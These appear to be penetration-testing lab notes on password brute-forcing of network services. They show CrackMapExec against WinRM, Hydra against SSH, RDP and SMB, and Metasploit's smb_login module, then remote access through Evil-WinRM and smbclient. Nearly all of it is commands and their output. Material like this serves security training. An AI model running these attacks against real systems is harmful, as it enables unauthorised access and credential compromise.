Network Services
WinRM
CrackMapExec Usage
neutron@kali[/kali]$ crackmapexec winrm 10.129.42.197 -u user.list -p password.list
WINRM 10.129.42.197 5985 NONE [*] None (name:10.129.42.197) (domain:None)
WINRM 10.129.42.197 5985 NONE [*] http://10.129.42.197:5985/wsman
WINRM 10.129.42.197 5985 NONE [+] None\user:password (Pwn3d!)
Evil-WinRM Usage
neutron@kali[/kali]$ evil-winrm -i 10.129.42.197 -u user -p password
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\user\Documents>
SSH
Hydra - SSH
neutron@kali[/kali]$ hydra -L user.list -P password.list ssh://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://10.129.42.197:22/
[22][ssh] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password found
RDP
Hydra - RDP
neutron@kali[/kali]$ hydra -L user.list -P password.list rdp://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:05:40
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking rdp://10.129.42.197:3389/
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: mrb0b password: rockstar, continuing attacking the account.
[3389][rdp] account on 10.129.42.197 might be valid but account not active for remote desktop: login: cryanight password: delta, continuing attacking the account.
[3389][rdp] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid password found
SMB
Hydra - SMB
neutron@kali[/kali]$ hydra -L user.list -P password.list smb://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:37:31
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[445][smb] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid passwords found
However, we may also get the following error describing that the server has sent an invalid reply.
neutron@kali[/kali]$ hydra -L user.list -P password.list smb://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:38:13
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[ERROR] invalid reply from target smb://10.129.42.197:445/
This is because we most likely have an outdated version of THC-Hydra that cannot handle SMBv3 replies. To work around this problem, we can manually update and recompile hydra or use MSF.
neutron@kali[/kali]$ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record guest-privileged random logins to the database
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list
user_file => user.list
msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list
pass_file => password.list
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197
rhosts => 10.129.42.197
msf6 auxiliary(scanner/smb/smb_login) > run
[+] 10.129.42.197:445 - 10.129.42.197:445 - Success: '.\user:password'
[*] 10.129.42.197:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
view the available shares and what privileges we have using CrackMapExec .
neutron@kali[/kali]$ crackmapexec smb 10.129.42.197 -u "user" -p "password" --shares
SMB 10.129.42.197 445 WINSRV [*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)
SMB 10.129.42.197 445 WINSRV [+] WINSRV\user:password
SMB 10.129.42.197 445 WINSRV [+] Enumerated shares
SMB 10.129.42.197 445 WINSRV Share Permissions Remark
SMB 10.129.42.197 445 WINSRV ----- ----------- ------
SMB 10.129.42.197 445 WINSRV ADMIN$ Remote Admin
SMB 10.129.42.197 445 WINSRV C$ Default share
SMB 10.129.42.197 445 WINSRV SHARENAME READ,WRITE
SMB 10.129.42.197 445 WINSRV IPC$ READ Remote IPC
To communicate with the server via SMB, we can use smbclient.
neutron@kali[/kali]$ smbclient -U user \\\\10.129.42.197\\SHARENAME
Enter WORKGROUP\user's password: *******
Try "help" to get a list of possible commands.
smb: \> ls
. DR 0 Thu Jan 6 18:48:47 2022
.. DR 0 Thu Jan 6 18:48:47 2022
desktop.ini AHS 282 Thu Jan 6 15:44:52 2022
10328063 blocks of size 4096. 6074274 blocks available
smb: \>